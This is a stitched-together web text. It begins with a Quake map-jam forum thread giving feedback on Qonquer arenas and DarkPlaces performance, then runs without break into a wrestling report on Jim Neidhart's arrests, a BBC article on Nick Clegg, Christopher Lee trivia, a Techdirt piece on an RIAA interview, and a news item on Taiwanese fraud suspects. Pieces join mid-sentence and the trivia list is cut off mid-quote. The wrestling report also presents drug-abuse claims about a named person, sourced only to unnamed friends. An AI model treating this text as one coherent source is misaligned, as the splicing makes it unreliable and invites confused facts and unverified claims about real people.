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has a ton of potential. It's partly up to the mapper to make it interesting. The first iterations of what I made I got impatient testing it so I kept shrinking the arena to make it a bit faster. The lack of goals and progression can be dealt with too. Warren hints at it in the training arena that comes with the mod with the gated weapon. I'll definitely be exploring this format in the future.
Thanks to Daz for organizing this and putting up with my jackassery ;) and for the testers for figuring out what was going on with my map. Anyway to prevent it in the future? The large water surface I had was to prevent the player from seeing the edge of the world. repackaged at quaddicted so the injector likes it After 10+ Rounds Played On All Maps, Some Feedback After 10+ Rounds Played On All Maps, Some Feedback Arrcee - not bad for a newcomer to mapping, and I think gameplay would have actually been very good had the map been just a slightly enlarged version of the upper section. The addition of the basement, however, disrupted the flow of the map quite badly by making the map too large and dividing spawns too thinly, meaning that the general pattern of play was to fight off any monsters on the upper level fairly comfortably, then descend below to mop up the ones that hadn't been able to navigate upstairs. Visually it was certainly uneven, with rather jarring texture clashes, but I did like some features such as the lights in the stairwells (or 'rampwells' perhaps).
FifthElephant - overall very good. Lovely texture work and architecture, while gameplay was excellent too, with the map being just the right size to keep up the pace, and with sufficient connectivity to ensure good flow (Qonquer is quite like DM in terms of how a map needs to flow, though perhaps leaning towards a Rocket Arena 1v1 map - as Fifth's resembles - is the best method rather than a traditional DM arena). Might have been good to ensure another cover spot from which to hide from vore balls, since the green armour alcove was generally the only viable spot to do this).
Hypnos - quite an original visual style well executed, though perhaps could have done with greater texture variation (though I read you're still working on the set). In terms of gameplay, I found it a little cramped and travel through the map was rather awkward, though I did like the series of jumps one had to routinely make to keep ammo reserves sustained. Difficulty seemed to suffer from a bizarre spike btw, with it being fairly easy up until the point, about 10 rounds in, that I suddenly found myself fighting 4 shamblers at once o_O.
Ijed - this one was certainly architecturally nice, and executed the metal/runic theme quite well (I liked the faces vomiting lava), though the lighting came up looking a little lurid. In terms of gameplay, it was rather too big and it generally felt a bit laborious tracking down remaining enemies. Also the 2 quads meant one could be powered-up almost all the time, and the lack of shotgun ammo was also a bit strange.
MFX - amazing to look at, only second to Skacky's in this regard, though in terms of actually functioning as a well-rounded Qonquer arena, it wasn't great as the monsters just couldn't really find their way between floors. Would love to see a standard single player map done in this style though.
Scampie - your map was by a distance the best in the release, with the 3 arenas being of high quality aesthetically, and with gameplay that either showed Qonquer at its best, or provided a gimmick that was genuinely imaginative and interesting to play.
Arena 1 was the first map I played and I still think it's the best in Jam 5. Just the right size to keep the pace up, and just enough geometric complexity to be interesting without being so detailed as to result in the player getting snagged on the scenery. The use of triggers to push the monsters around was an excellent idea too, since the Quake AI's lack of proper pathfinding tends to show up quite badly in a mod like Qonquer and some of the other maps suffered from this.
Arena 2 was good also, with the gimmick actually working as a functional game play idea, though I did keep feeling like I was going to crush myself with one of the traps if I clipped one of the buttons right on the edge while moving at high speed. Might have worked better to move the crushers slightly further away from their activators.
When I first entered Arena 3 I thought there must be a bug preventing me from reaching the correct area of the map, but then I realised the idea behind it, and thought it'd maybe be just a mildly amusing silly gimmick that I'd play for 5 rounds or so. It was actually surprisingly fun and well balanced and I ended up playing 20 rounds.
Skacky - one of the most gorgeous Quake maps I've ever seen, it really was spectacular to behold. It was decent enough as a Qonquer arena, though in common with many of the other maps here, it was a little oversized. Also, the long, thin walkways placed some distance apart tended to result in monsters getting stranded a long way from the player, and use of somewhat slow lifts to connect floors tended to slow the pace quite significantly (it would be really interesting to play this map with the A* pathfinding from ne_dynamic, however. I'll get back to that in a minute). As with MFX's map, I'd love to see this art style reappear in a more traditional release.
WarrenM - yet another one with a cool new aesthetic, though it might have been good to dial back the fog slightly so players could see more of that stunning architecture. It was quite fun to play, despite being another entry that was pretty vast in size, and it was good to see the sadly underused minions making an appearance....and Some Feedback On Qonquer...and Some Feedback On Qonquer As for the mod itself, it was one I'd played a fair bit of and always felt it had got less attention than it deserved, so it's nice to see that being redressed now. I like the changes Scampie has made to it, though it would be welcome to have more of a sense of finality accommodated by the mod's design; ie to enable the player to win by completing a certain number of rounds, or let the monster spawn rate reach such an absurd level that the player has no chance of surviving. As it is, it seems possible to pretty much go on forever, certainly on maps that contain health and armour respawns.
As I mentioned above, Qonquer would really benefit from proper AI pathfinding such as that found in ne_dynamic or In the Shadows, as it would increase the pace and challenge by letting monsters find their way to the player, while also decreasing the likelihood of the player having to scour the map for remaining monsters that have become stuck somewhere. Also, I always felt that ne_dynamic was another sadly overlooked mod, and as such would make an excellent candidate for long overdue recognition via a map jam. For those who don't know, it was a mod that basically enabled Left 4 Dead style gameplay in Quake, with the use of an AI director who would respawn monsters based on various factors similar to those used in Valve's game. Perhaps necros could comment on whether it's in a suitably polished state to be used in a map jam? That sounds like a fun map jam! I love L4D style games. I was a fan of Scampie's arena 1 too, and fifthelephant's... actually I was going to come here and post a bit about that & how they reminded me of good Rocket Arena maps in some ways, but someone has saved me a lot of typing! Mine Has Mine Has 4 arena styles in one, weapon and monster palette varying with each.
I agree that the mod is not aggressive enough, testing was very laborious.
Dynamic pathing would be cool. Something like the Nehara or Awakening system. Jam5_hypnos2 Jam5_hypnos2
http://www.quaketastic.com/files/single_player/maps/jam5_hypnos2.zip
I added the source and a readme explaining what tweaks I have made and compiler settings etc. Just pop it into the Jam5 maps directory. Enjoy my tweaked version folks.I added the source and a readme explaining what tweaks I have made and compiler settings etc. Just pop it into the Jam5 maps directory. Ijed Ijed Enjoyable secret. Nice One 5th! Nice One 5th! Even better now. Skacky's Secret Mapping Tricks? Skacky's Secret Mapping Tricks? i haven't tested all the conquer jam maps yet so it's to early for any final verdict. still, i have a question skacky, how you do it? there are plenty of talented mappers, but your map are the best from the technical point of view. i use darkplaces primarily and your maps always run flawlessly.
from what i see yours and warrenm's maps are comparable in the aspects of size or complexicity. however, your map runs smoothly at 50 fps while warrenm's is totally unplayable with average fps around 5 frames/sec. with the same engine settings...even though your map seems to me much bigger. i don't get it. it's not the first case, i tested yours previous maps it's the same story everytime.
ok.. dp is not the recommended engine, but still.. your maps work like charm in darkplaces while a lot of the other maps run significantly slower. Mine wouldn't VIS. :) So there's that... Dont Use Dp Dont Use Dp never! #64
Lots of func_detail I guess, and I run level4 VIS. darkplaces is a great engine. i don't understand the hate against it. i love quake game mechanics but it doesn't mean i have to play quake in oldschool graphics. i'm not a purist. i've been playing quake since 96
for its gameplay mechanics but the oldfashion fitz/qspasm graphics is not appealing to me anymore.
to warrenm: your map is fastvised only? well.. that expains a lot. it's a pity, architecture is impressive. i thought that today's compilers with extended limits capabilities are able to crunch anything.
to skacky: level4 vis is not everything. your levels run usually faster than other level4 vised maps. even the smaller ones. admit it, you are simply good. :-) I dunno. The source was included, I think, so take a shot. I was never able to get a VIS to complete. It gets to the end and just... sits there. No, DarkPlaces is a pretty engine (depending on your tastes). It's also, from my understand, the least compatible. :) Dp Compatibility Dp Compatibility been using darkplaces for more than a decade now and have come across only a handful of incompatible maps/mods... and by handful i mean like six. Others can go into more detail. I know it's been an issue in the past. you're right.. there were problems indeed. nehahra was playable only partially with dp, but back then nehahra had its issues with any engine except for nehahra.exe. travail was pretty fucked up in final levels. there were others too. i know about only one persisting game breaker - zersterer.
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there are still some issues with strange shadows here and there... yes.. that's anoying. Dp Dp Sock has convinced me to use dp and im liking it now after tweaking it.
I had a look at warrens map and I did notice on some of the angular stairs that it wasn't flush with the wall. Stuff like that can cause leaks leading to failed or long vis times. It doesn't leak. It just won't VIS. Revising Warrens Map Revising Warrens Map i'm trying to recompile warrens map... currently at cca 19% of fullvis, but something is wrong. whole process got stuck 4 hours ago. however, vis is still running.. i'll give it some time and we'll see. temporary vis file is about 90megs right now. It Might Not Leak It Might Not Leak but it's not going to help VIS if your map has areas where it's not sealed 100% in areas because it will have all these other areas that it has to work out visibility for.
I'm not saying it's 100% that but it might help. For The Record For The Record I haven't noticed any real performance issues with Warrens map and I'm still running on my surface pro (not exactly a powerhouse of a computer). I've not run it on dark places, I'm using Fitzquake. Infact Skacky's map runs slower for me than Warren's map. i thought darkplaces used its own vis system calculated at map load time, which would mean vis data is ignored. Anyone know if this is true? If it is it would account for wide variance of performance on the same map in different engines. to meltslime: it sounds unlikely to me. there is a huge performance gap between fast-vised and full-vised version of the same map. on-the-fly fullvis during just a few seconds of loading? it's too good to be truth :-) #71 #71 That you haven't noticed them doesn't mean that they aren't there. If you don't know what is the intended behavior of a map you can't know if it isn't working well or not.
An example: i made a map where it doesn't work as i intended only in DP due to exploboxes behaving differently in that engine. The possibilities of the player noticing that something is wrong is zero as exploboxes are still working, but it still affects the map. Darkplaces uses it's own real time portal culling technique, controlled by "r_useportalculling" setting. Try setting it to 0 and seeing if your performance improves. The version of DP I have on my machine defaults to 2 and causes flickering all over the place on Warren's map. With it set at 2, I get 90 FPS in some of the worst spots. With the setting off or at 1, I get 160 FPS in those same areas. (using darkplaces'showfps' command) FitzQuake lacks this command, but from what I can tell from external sources is that the engine is capped at 72 FPS, and I was maxed at all points of the map anyway, so it's difficult to compare.
Load jam5_warren in Darkplaces, note that it takes several seconds to load, and then note the million "Mod_Q1BSP_RecursiveNodePortals: WARNING: new portal was clipped away" warnings in the console after it loads. Those are because Darkplaces is trying to do basically what the compile tools do and generating it's own portals for the map when loading the map for the first time, but the same error that exists within the.bsp that prevents it from being properly vis'd is also preventing Darkplaces from generating it's own portals to do it's real time visibility culling tricks.
I'm guessing the broken portals are being hellish on DP's portal culling system and the slowdown is the result of the engine spending more time trying to decide what to render, and thus spending more time than if it just rendered everything.
So really... half the map's fault, half the engine's fault. Tip Tip for checking fps in fitzquake or quakespasm, do:
host_maxfps 1000
scr_showfps 1
note that this will mess up physics, so only use it for benchmarking, and in quakespasm at least, make sure to reset host_maxfps back to 72 because it's archived. to scampie: thanks for the clarification. i'll try r_useportalculling command and see what happens. i tried to recompile warrens map with h2map.exe but the whole proces failed immediately after basevis due to the error described above.
vis.exe continues fullvising the even after the warnings but the process is extremely slow or maybe it has reached some infinite loop... I think I pushed the architecture too far. Too many weird angles, too much stuff off the grid, etc. @Skacky's @Skacky's Since I come here a lot asking for stuff and this forum is always helpful, I felt like coming to just congratulate Skacky for his beautiful environment art. I wished the higher levels was playable too, but it's wonderful the way it is.
There are other specially beautiful levels in this pack (the floating castle, the chained city,...) and I should congratulate everybody, but this blue arabic dream just got me. I'm dazzled. That's some awesome looking maps guys, wow! People still making these kinds of levels for quake 1 when the 20-year anniversary is just around the corner, who would have thought? Some Extremely Nice Maps Some Extremely Nice Maps but I dont care for the mod personally.
Would love to see skacky's map made into a real map. And mfx's too. Others a bit too arenas-ish to be proper maps. Been Wandering Around Skacky's Been Wandering Around Skacky's without having qonquer on and my god is it beautiful!
mfx's has great brushwork.
scampie's has great lighting imho, those hallways were lit perfectly! Skacky's Map Skacky's Map is where mappers go when they die, if they were good. Post A Reply:
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Website copyright © 2002-2019 John Fitzgibbons. All posts are copyright their respective authors.UPDATE: Just to update our report from below – there are interviews from just several months ago where Jim Neidhart acts completely normal and NOTHING like what you see in the video below. That seems to rule out Parkinsons disease and close friends say it’s drug abuse and not any sort of disease other than addiction. The twitching, licking of the lips and sweating are all signs of drug abuse as well. We reported several months ago that people close to Jim claim he’s been in rough shape for years now. Neidhart’s daughter, WWE Diva Natalya and other family members have tried numerous times to intervene but it hasn’t worked as you can see below. When he was arrested last year, numerous family members including Natalya refused to bail him out of jail in hopes that he would be able to sober up while behind bars.
On March 15, 2012, we reported the following:
Jim Neidhart was arrested yesterday at the Hilsborough County Court in Florida for contempt of court. Neidhart was in a hearing for previous theft and possession of a controlled substance charges that were brought against him in 2010. Neidhart was taken into custody and at this time, is still incarcerated. Neidhart doesn’t have any bond set yet or a release date.
Neidhart was arrested on Labor day back in 2010 in Thonotosassa, Florida after deputies were alerted to him being loud and yelling as he attempted to open a pill bottle while pumping gas. Neidhart started to argue with authorities, which led to them searching him and them finding 28 methodone tablets and 95 oxycotin pills.
Police also found numerous pill bottles in Neidhart’s possession belonged to a neighbor who had recently reported them stolen. Due to the neighbor stating that she knew neidhart, but had not given him permission to take their prescription medication and her back door had been recently forced open, Neidhart was charged with the following: burglary of an unoccupied dwelling, grant theft (third degree – $300-$3,000), trafficking in illegal drugs (Methadone), possession of a controlled substance with intent to distribute (Methodone), trafficking in illegal drugs (oxycotin) and possession of a controlled substance with intent to distribute (Oxycontin).
While this is not confirmed yet, the Hillsborough County Sheriff website indicates that Judge Espinosa sentenced Neidhart to 5 months and 29 days for the First Degree Theft and Possession of Controlled Substance charges. No word yet if the jail sentence was suspended or if Neidhart must do the full 5 months and 29 days. We hope to have an official update soon.
As seen in the video below, the look on Bret Hart’s face says it all. This is truly a sad story and we hope Jim gets the help he needs ASAP before it’s too late. The person in question needs to want the help before anything can be done though. Get well soon, Jim.
ORIGINAL: As noted earlier here on the website, numerous pro wrestling legends were in attendance at Marlins Park for last night’s Florida Marlins MLB Game. Among the legends in attendance were Bret Hart, Bill Goldberg and Jim “The Anvil” Neidhart. MLB.com did an interview with Bret Hart backstage and Jim Neidhart seems shockingly out of it. You have to see this video guys. Really, REALLY sad stuff. You can view the video at this link or below. Hopefully Jim gets himself better soon before it’s too late.By Brian Wheeler
Political reporter, BBC News, Lib Dem conference
Please turn on JavaScript. Media requires JavaScript to play. Liberal Democrat leader Nick Clegg has rejected an appeal from his Tory counterpart David Cameron for their two parties to work together. Mr Cameron urged the Lib Dems to join the Tories in a new "national movement" claiming there was "barely a cigarette paper" between them on many issues. But Mr Clegg insisted in an interview with the BBC's Andrew Marr the Tories were totally different from his party. Mr Clegg said the Lib Dems were the true "progressives" in UK politics. But he refused to discuss whether he would enter coalition talks with either Labour or the Tories in the event of a hung Parliament after the next general election. In an article for The Observer, Mr Cameron said the two parties shared the same views in areas like civil liberties, education and climate change. But Mr Clegg, who stepped up his attacks on Mr Cameron at the start of his party's annual conference in Bournemouth, calling him a "conman" and a "phoney", rejected the Tory leader's overtures. He questioned Mr Cameron's commitment to environmental issues, accusing him of joining forces with "climate change deniers" in the European Parliament. And on civil liberties, he said: "There is a profound hypocrisy to say 'we're all liberal now' on civil liberties, when they want to actually destroy one of the cornerstones that protects British liberties in the Human Rights Act." Mr Clegg has angered left-wingers in his party by calling for "savage" spending cuts and saying he is considering dropping the party's commitment to scrap university tuition fees in order to save £2.5bn. Former leader Charles Kennedy told the Andrew Marr programme it could lose the party votes from young people and blunt its attack against Labour. And Evan Harris, a member of the party's Federal Policy Committee, which has the final say on what goes in the manifesto, said the party would not accept any move to drop the tuition fee pledge. "Leaders of the Liberal Democrats don't always get their way," he told the BBC News channel. 'Life chances' But Mr Clegg said that although he thought tuition fees were "pernicious", scrapping them may not be affordable in the current climate - though he stressed that the overall education budget would not be cut under the Lib Dems. And he described proposals by the Schools Secretary, Ed Balls, to cut senior staff jobs in schools to save up to £2bn as "extraordinary". He said it would be "absolute madness to blight the life chances of the young". Mr Clegg also confirmed that his party wanted to cut the number of MPs from nearly 646 to 500, and to close what he called huge tax loopholes so as to stop ordinary taxpayers "subsidising the wealthy". The Lib Dem leader has been setting out plans to "cut the cost of politics" by nearly £2bn, including closing 10 government departments and 90 quangos, axing spin doctors and no longer paying the Opposition leader's wages out of the public purse. The savings would be enough to renovate 200 schools a year, he said. Quangos Cutting the cost of politics is one of David Cameron's key themes. The Tory leader has said he would cut ministerial salaries and reduce the number of MPs, as well as slashing quangos. Labour has also vowed to squeeze Whitehall spending. Mr Clegg says he would freeze ministers' salaries and cut the number of them on the government payroll from more than 100 to 73. He would also halve the number of departmental spin doctors. He told BBC News: "We could save billions by scrapping entire government departments and culling quangos. "Doing politics differently and saving money means dismantling Labour's spin machine by halving the number of government press officers and making political parties pay for their own special advisers." The Liberal Democrats went into the 2005 election promising to close eight government departments, including what was then the Department of Trade and Industry, but the latest proposals go slightly further. Mr Clegg says he wants to cut the number of government departments from 24 to 14. Quangos he wants to see culled include regional development agencies - a long-standing policy commitment - but also less well-known bodies such as the School Food Trust, Teachers TV, the Independent Advisory Group on Teenage Pregnancy, the Civil Nuclear Constabulary and the Covent Garden Market Authority. The document also proposes a reduction in the budget of the Serious and Organised Crime Agency.
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StumbleUpon What are these? E-mail this to a friend Printable versionOverview (5)
Mini Bio (1)
Spouse (1)
Trade Mark (7)
Deeply melodic basso voice
Frequently played imposing, menacing villains
Frequently played characters from upper class
Characters interested in the occult and/or possessing supernatural powers
Many roles in Hammer Horror films
Towering height and slender frame
His beard which he grew in his later years
Trivia (163)
As well as a distinguished actor, known for his immense charisma, imposing stature and deep speaking voice, he was also a classically trained singer and an intellectual who was extremely well-read.
He was one of the few actors who portrayed three different Sherlock Holmes characters: Sherlock Holmes, Mycroft Holmes and Sir Henry Baskerville.
A distant cousin and frequent golfing partner of Bond creator Ian Fleming, Lee was the author's personal pick for the role of Dr. No (1962) in the first 007 film. The role, of course, went to actor Joseph Wiseman, who was brilliant. However, fans of the literary Bond might want to check out Lee's portrayal of Chinese master criminal Fu Manchu, for an idea of how Ian Fleming himself envisioned Dr. No.
He was the uncle of Harriet Walter
He was one of the judges for the 1995 Miss World beauty pageant.
The blooddripping fangs worn by Lee in many of his vampire films were created by Irish dental technician Sean Mulhall.
He is listed as the Center of the Hollywood Universe by the Oracle of Kevin Bacon website at the University of Virginia, because he can be linked to any one in Hollywood on average in 2.59 steps. That is less than either Charlton Heston or Kevin Bacon himself.
In a radio interview in South Africa, Lee claimed that he held the record for number of film roles by an actor (2001).
He was awarded the CBE (Commander of the Order of the British Empire) in the 2001 Queen's Birthday Honours List for his services to drama.
He appears on the cover of Paul McCartney's 1973 album "Band on the Run".
He served in the British Royal Air Force Volunteer Reserve from 1941 to 1946. During that time, he was an active member of the Special Forces.
The white coffin used in one of his Dracula films was later used in Bananarama's music video "Venus".
One of Lee's maternal great-grandfathers was Italian. Through him, Lee is of noble Italian ancestry (from the Carandini family).
From an acting dynasty, his great-grandparents founded the first Australian opera company.
He made his stage debut in school as the demonic lead in "Rumpelstiltskin", a sign of things to come.
A stunt double performed the stunts and lightsaber fights in Star Wars: Episode II - Attack of the Clones (2002). Lee's face was imposed on the double's body. Lee mentioned that in the last 40 years, he has done more swordfights than any other actor, but "not anymore".
He spoke very good French, good enough to understand questions and give long replies in a press conference.
He was an honorary member of three stuntmen's unions.
His stepfather (his mother's second husband) was the maternal uncle of writer Ian Fleming (of James Bond fame). Lee and Fleming are therefore stepcousins.
He was voted No. 31 on the recent British televised poll "The Greatest Movie Stars of All Time" above the likes of John Wayne Michael Caine and Humphrey Bogart
He sustained an injury to his right hand while filming a sword-fight with a slightly drunk Errol Flynn for The Dark Avenger (1955). The permanently crooked little finger he was left with can be seen in many of his films.
He was originally offered the role of Grand Moff Tarkin in Star Wars (1977), which he turned down. The role eventually went to his good friend Peter Cushing
Since his feature film debut in Corridor of Mirrors (1948), he has had at least one film role every year except for 1993, 1995, 1997, 2000 and 2006.
At 6 feet 5 inches, he is entered into the Guinness Book of World Records as "The Tallest Leading Actor".
He struggled to get work early in his career as a supporting actor because almost all the male stars were shorter than he.
He was upset about the deletion of his death scene in the theatrical version of The Lord of the Rings: The Return of the King (2003). However, the scene was put back into the Extended Edition which is seen as the definitive version.
One of the most prolific actors of all time, he has acted in nearly 230 films, although he later admitted that his film work was not always chosen on quality but often on whether they could support his family. His peak years of productivity were 1955 and 1970, as Lee starred in nine films in both years.
As Darth Tyranus, he plays the first Sith apprentice to act in both body and voice.
Although he has been in well over 200 films, he has very rarely played a hero, having been a villain in perhaps about 85% of his films (even his bit parts lean towards the unsympathetic).
He was awarded Officer of the Order of Arts and Letters by French culture minister Jean-Jacques Aillagon on December 11, 2002.
One of his favorite bands is the Italian symphonic power metal band Rhapsody, and he has also appeared on one of their album (listen to the speech in the intro on the song "Unholy Warcry" on the album "The Dark Secret"). Lee also appears on the Rhapsody single "The Magic of the Wizard's Dream", where he does a duet with Rhapsody vocalist Fabio Leoni in English, German, Italian and French versions of the song.
On July 21, 2004, he was given the honorary citizenship of the Italian city of Casina (Province of Reggio Emilia) where Sarzano, the castle of his ancestors is situated. He gave his speech of thanks in Italian.
He was the Center of the Hollywood Universe, according to data at the Movie Oracle, http://www.cs.virginia.edu/oracle/center.html, but is now second to Rod Steiger
Two of his roles have been as leaders of a separatist movement. The first was Jinnah (1998), about Muhammad Ali Jinnah, founder of Pakistan. The second was in the Star Wars series as Count Dooku, the former mentor of Qui-Gon Jinn.
In a bonding of two generations of Frankenstein's monsters, Lee and his wife were good friends with Boris Karloff and his wife. This friendship was not as a result of them working together (they made two films together: Corridors of Blood (1958) and The Crimson Cult (1968)) but by the coincidence that they lived next door to each other in England.
During World War II, he served in the Royal Air Force and in British Intelligence.
In 1972, he founded Charlemagne Productions Ltd.
He studied at Summerfield Preparatory School and attended Wellington College.
His daughter, Christina Erika Lee, was born with her legs severely deformed. They were bent at such a severe angle that they were almost backwards. She spent her first two years in splints. She eventually learned how to walk after the age of three and no longer needed splints.
According to his official website: He speaks French, German, Italian and Spanish and can "get along" in Greek, Russian and Swedish.
When he arrived in the recording studio to do the voice-over for King Haggard in the original animated version of The Last Unicorn (1982), he came armed with his own copy of the book with certain excerpts marked pertaining to parts of the book that he felt should not have been omitted.
Like his Lord of the Rings director, Peter Jackson, he has appeared in films with three generations of Astins.
He wanted to attend the Heavy Metal Festival Earthshaker Fest in 2005 to support his favorite bands, the Italian band Rhapsody and the American band Manowar, but had to cancel at the last moment because of an important filming appointment. He recorded a message to the fans in advance, which was shown right before Rhapsody appeared on-stage.
According to his friend Norman Lloyd, he has a somewhat eccentric hobby: he is fascinated by public executioners and knows the names of every official executioner England has had since the middle of the 15th century.
In his role as the title character, The Mummy (1959), in which he co-starred with Peter Cushing, Lee got severely injured in the course of the filming. All that smashing through real glass windows and doors had dislocated his shoulder and pulled his neck muscles, especially when he had to carry an actress with arms fully extended across a swamp, walking as much as 87 yards, which damaged his shoulders considerably.
In Horror of Dracula (1958), Lee in the title role had to drop a woman into a grave, but when he carried her, she was unexpectedly heavy and in trying to drop her into the grave, Lee also fell in with her.
He was the tallest of the many actors who have played Count Dracula.
He was one of the few people to volunteer to fight on the Finnish side in the Russo-Finnish winter war in 1939-1940, though he and his fellow British volunteers were in Finland only for about two weeks and were kept well away from direct combat.
Although he and Peter Cushing were often mortal enemies on-screen, off-screen they were inseparable friends.
His films have made more money than any other actor's in history. As of May 2006, five of his films (the Lord of the Rings trilogy and the two Star Wars films in which he played Count Dooku) had total grosses in excess of $4.4 billion. Even without considering Lee's other appearances dating back to 1948, his totals considerably surpass the figures of #3 billion and #3.8 billion claimed by Harrison Ford and Samuel L. Jackson, respectively.
As a veritable J.R.R. Tolkien expert and the only member of the cast who had met Tolkien himself, he often visited the Production department on the sets of the various Lord of the Rings movies to give advice and tips on the various attributes of the films.
He released the music album "Christopher Lee: Revelation" in the United Kingdom in October 2006. It includes songs like "The Toreador March", "O Sole Mio", "Oh What a Beautiful Mornin'" and "My Way".
He played a staggering amount of Victorian characters. He played Count Dracula ten times, Dr. Fu Manchu five times, Sherlock Holmes three times, Mycroft Holmes (Sherlock's brother) once and Sir Henry Baskerville (a friend of Holmes) once. He also appeared in The Two Faces of Dr. Jekyll (1960) and I, Monster (1971), adaptations of "Dr. Jekyll and Mr. Hyde", among others.
He was the only actor in cinematic history to have achieved a unique trifecta. He has played a Star Wars villain (Count Dooku), a James Bond villain (Francisco Scaramanga), and a classic horror movie monster (Dracula, the Mummy and Frankenstein's Monster).
He was cast as a ballad soloist called The Gentleman Ghost in Sweeney Todd: The Demon Barber of Fleet Street (2007), but his role was cut when the ballad numbers were omitted. However, he never filmed the scenes and was present for the recording session.
In 2008, he received a lifetime achievement award at Pula Film Festival (Croatia).
He was awarded Knight Bachelor of the Order of the British Empire in the 2009 Queen's Birthday Honours List for his services to drama and charity. The ceremony took place at Buckingham Palace on October 30, 2009, and was carried out by HRH 'Prince Charles', The Prince of Wales.
He was awarded Commander of the Venerable Order of Saint John in 1997.
At age 77, he confirmed that he had lost an inch of height and was now 6'4".
Was offered the role of King Balor in Hellboy II: The Golden Army (2008), but had to turn it down due to other commitments.
He once declared himself an unconditional fan of Gene Hackman
He learned how to speak German by listening to Richard Wagner records.
He dubbed King Haggard in the German version of The Last Unicorn (1982) for no fee, out of love for the film.
He said that his favorite director is Tim Burton, whom he frequently collaborated with on several of Burton's films.
He was very good friends with Josip Broz Tito, a partisan leader and a president of a former country of Yugoslavia.
Lee's friend, Jean Paul Getty, lent him and wife Gitte his Sutton Place home for their honeymoon in 1961.
He was awarded Commander of the Order of Arts and Letters by French culture minister Frederic Mitterrand in 2011.
He read the Lord of the Rings trilogy once a year for decades, long before the film series ever got started.
Early in his career, Lee dubbed foreign films into English and other languages including Monsieur Hulot's Holiday (1953). Sometimes he dubbed all the voices including women's parts. Douglas Fairbanks Jr., recalled that Lee could do any kind of accent: "foreign, domestic, North, South, Middle, young, old, |
in shops and in public spaces, free shows at bars, music played for friends, music played at parties, guitars strummed around a campfire and everything else in this music-saturated world, only a minuscule fraction of music consumed is actually paid for. Music is not, and never has been, a simple commodity. Sherman continues, paying lip service to all the market factors that have contributed to the decline in recorded music sales, and you can feel the tension building until he finally hits the p-word:
The fact is that piracy has had an enormous, really a devastating impact on the industry, because paying for music has become voluntary. It's a tip jar. If you don't want to pay for it you don't need to because you can always find online any of the music that you want. We're trying to come up with ways to offer the consumers the content that they want in ways that they want it, conveniently, reasonably priced, so that they will get it legitimately and compensate the creators. That is the number one anti-piracy strategy, which is basically offering consumers what they want.
That second part would be great, if the RIAA actually did any of that. Instead, time and time again we see them taking a sue-first, negotiate later strategy with new music services, and pushing legislation like SOPA/PIPA that puts a huge burden on innovators. Sherman then makes some comments about the businesses that profit from infringement, and Keen asks him to elaborate:
Megaupload is a great example. They were basically monetizing all the content that was stored in their lockers that they would distribute to people who would click on links all over the internet to get that content for free. Kim Dotcom was earning millions and the creators were earning nothing at all.
While it's possible, even likely, that Megaupload broke the law and some of the charges against them will stick, the assertion that creators were "earning nothing" is not quite true. Creators who embraced Megaupload were benefitting from it and were indeed earning money through its bounty payments for popular uploads. That's why we saw both well-established artists like Busta Rhymes and indie artists like Dan Bull take Megaupload's side after it was shut down.
Keen then asks if there are any legal businesses profiting by monetizing the content of artists, which elicits a bizarre answer from Sherman:
There's no question that all the companies that are providing access to music are benefiting in some way, legal companies, and that's entirely appropriate. ISPs have done very well by the availability of music online, because it has created greater demand for broadband access, and as a result they have now penetrated to the 66-67% level of US households, because they want access to the content that the entertainment industry offers. But that's perfectly fine.
Well, I suppose it's good to know that Sherman approves of broadband. As far as I know, the RIAA has never pushed the kind of "piracy tax" on ISPs that some organizations around the world have proposed. I guess they don't plan to start now. Of course, his answer also exposes the hubris of the legacy entertainment industry: he thinks their content is the only content anyone wants, and that they alone are responsible for broadband adoption.
Eventually Sherman can't stall any longer and starts to talk about enforcement, which, it quickly becomes clear, is all he really cares about. He actually defends their past strategy of suing file-sharers, saying that it was successful in spreading awareness and curtailing the growth of peer-to-peer networks, but then quickly reverses and says that since P2P is growing once again, it necessitated the five- six-strike plan they recently negotiated with ISPs (and the government). It's amusing to watch Sherman try to describe a consumer-punishment plan in a way that sounds "consumer-friendly":
So we did a deal with ISPs under which ISPs would send notices that we send to the ISP that a user on their network is infringing, they will send a copyright alert to the user and there will be educational materials associated with it, FAQs, all the information about how we got the information, whether they should check whether they have a wireless router that's unsecured, all that sort of stuff. And after awhile if they continue to persist in this behavior, over four and five and six notices, there might be some mitigation measures imposed like throttling bandwidth or something like that, up to the individual ISP. But the idea is to, in a very consumer friendly way, educate the public about what copyright is all about, the consequences of violating copyright, and the long term importance of preserving the content that people want.
Thankfully, Keen pushes back a bit on this point and notes that most people don't consider the RIAA to be very consumer-friendly at all, especially not after they tried to push SOPA on everyone. He asks Sherman if he thinks they can convince people otherwise. It's the last question, and I'll leave you with Sherman's answer in full, because it's a doozie. He immediately jumps to the unrelated topic of counterfeiting, incorrectly calls boots and batteries "copyrighted products", and then, having said absolutely nothing about how SOPA would help musicians, claims that's who we needed it for. For some reason, he chooses to end the interview with the random assertion that aspiring musicians are giving up and becoming lawyers (which is funny because the first person who comes to mind is Bill Patry—no friend of the RIAA's cause). With that in mind, enjoy:
For one thing, just because we don't want to get back into SOPA, but SOPA was not just about copyrighted music or movies, it was about counterfeit products too. It was designed to protect American consumers from counterfeit products like pharmaceuticals, which are actually being sold to American consumers from fraudulent websites on the internet. There are every kind of copyrighted product, from boots to Rosetta Stone language materials to things that could actually endanger your lives like batteries that could blow up and so on. So this really was designed to protect consumers against counterfeit websites that were operating from overseas and selling into the US market. Did we lose some consumer trust? Absolutely. What happened with SOPA has created a lot of skepticism on the part of the online community that were interested in consumer welfare, but it all depends on how you look at consumer welfare. We think that consumer welfare is not getting a product for free, but getting the best possible product you can. And if our artists make music that people want, it's a win-win for everyone, and we think that the long-term consumer interest is in creating an ecosystem in which there is compensation for creators so that they can be paid for their craft to go on making music. I don't know how many would-be musicians have gone to law school instead because they've seen that their opportunities in the music industry have been disappearing with every new illegal downloading technology. But it's our job to somehow create an ecosystem that makes consumers happy, makes creators happy and works for everybody.
Filed Under: andrew keen, cary sherman, copyright, music industry
Companies: riaaA group of Taiwanese fraud suspects deported from Malaysia to China have confessed and will be tried on the mainland, according to Chinese authorities, despite an angry Taipei demanding they face justice at home.
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The expulsion of the 32 suspects from Malaysia in April came after another group of Taiwanese fraud suspects were sent to China from Kenya, a move described by Taiwan as “abduction”.
The deportations are seen by observers as a means of exerting pressure on self-ruling Taiwan’s new president Tsai Ing-wen, who takes office on Friday and has a far more skeptical approach to relations with Beijing than her China-friendly predecessor did.
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Taiwan has lodged formal complaints with China over the deportations and has insisted its nationals face investigation and trial on the island.
